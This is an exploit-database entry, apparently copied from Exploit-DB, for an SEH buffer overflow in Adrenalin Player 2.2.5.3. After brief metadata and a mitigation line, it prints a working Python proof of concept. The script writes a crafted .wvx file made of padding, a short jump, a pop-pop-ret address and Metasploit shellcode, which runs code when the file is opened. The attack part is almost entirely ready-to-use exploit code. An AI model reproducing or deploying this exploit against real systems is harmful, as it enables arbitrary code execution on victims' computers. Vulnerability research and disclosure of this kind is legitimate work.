Adrenalin Player 2.2.5.3 (.wvx) SEH-Buffer Overflow

vendor:

Adrenalin Player

by:

MrXors

9,3

CVSS

HIGH

SEH-Buffer Overflow

119

CWE

Product Name: Adrenalin Player

Affected Version From: 2.2.5.3

Affected Version To: 2.2.5.3

Patch Exists: Yes

Related CWE: None

CPE: a:naver:adrenalin_player:2.2.5.3

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 pro x86 Fully-Patched

2013

Adrenalin Player 2.2.5.3 (.wvx) SEH-Buffer Overflow

Adrenalin Player 2.2.5.3 is vulnerable to a SEH-Buffer Overflow vulnerability. An attacker can exploit this vulnerability by crafting a malicious .wvx file containing a specially crafted payload. When the file is opened, the payload is executed, allowing the attacker to execute arbitrary code on the target system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of Adrenalin Player.

Source

Exploit-DB raw data:

#Exploit Title:Adrenalin Player 2.2.5.3 (.wvx) SEH-Buffer Overflow 
#Date:7/1/2013
#Exploit Author:MrXors
#Vendor HomePage:http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
#Software Link:http://software.naver.com/software/summary.nhn?softwareId=MFS_100099
#Version App:2.2.5.3
#Tested on: Windows 7 pro x86 Fully-Patched
#CVE:None
junk="\x41"*2140    
junk+="\xeb\x06\x90\x90"#short jmp
junk+="\x39\xb1\x14\x10"#pop pop ret ***App Dll***
junk+='\x90'*16#NOPS
#Calc shellcode from msf (-b '\x00\x0a\x0d\x0b')
junk+=("\xd9\xc8\xb8\xa0\x47\xcf\x09\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x32\x31\x47\x17\x83\xc7\x04\x03\xe7\x54\x2d\xfc\x1b" +
"\xb2\x38\xff\xe3\x43\x5b\x89\x06\x72\x49\xed\x43\x27\x5d" +
"\x65\x01\xc4\x16\x2b\xb1\x5f\x5a\xe4\xb6\xe8\xd1\xd2\xf9" +
"\xe9\xd7\xda\x55\x29\x79\xa7\xa7\x7e\x59\x96\x68\x73\x98" +
"\xdf\x94\x7c\xc8\x88\xd3\x2f\xfd\xbd\xa1\xf3\xfc\x11\xae" +
"\x4c\x87\x14\x70\x38\x3d\x16\xa0\x91\x4a\x50\x58\x99\x15" +
"\x41\x59\x4e\x46\xbd\x10\xfb\xbd\x35\xa3\x2d\x8c\xb6\x92" +
"\x11\x43\x89\x1b\x9c\x9d\xcd\x9b\x7f\xe8\x25\xd8\x02\xeb" +
"\xfd\xa3\xd8\x7e\xe0\x03\xaa\xd9\xc0\xb2\x7f\xbf\x83\xb8" +
"\x34\xcb\xcc\xdc\xcb\x18\x67\xd8\x40\x9f\xa8\x69\x12\x84" +
"\x6c\x32\xc0\xa5\x35\x9e\xa7\xda\x26\x46\x17\x7f\x2c\x64" +
"\x4c\xf9\x6f\xe2\x93\x8b\x15\x4b\x93\x93\x15\xfb\xfc\xa2" +
"\x9e\x94\x7b\x3b\x75\xd1\x7a\xca\x44\xcf\xeb\x75\x3d\xb2" +
"\x71\x86\xeb\xf0\x8f\x05\x1e\x88\x6b\x15\x6b\x8d\x30\x91" +
"\x87\xff\x29\x74\xa8\xac\x4a\x5d\xcb\x33\xd9\x3d\x0c")
x=open('Exploit.wvx', 'w')
x.write(junk)
x.close()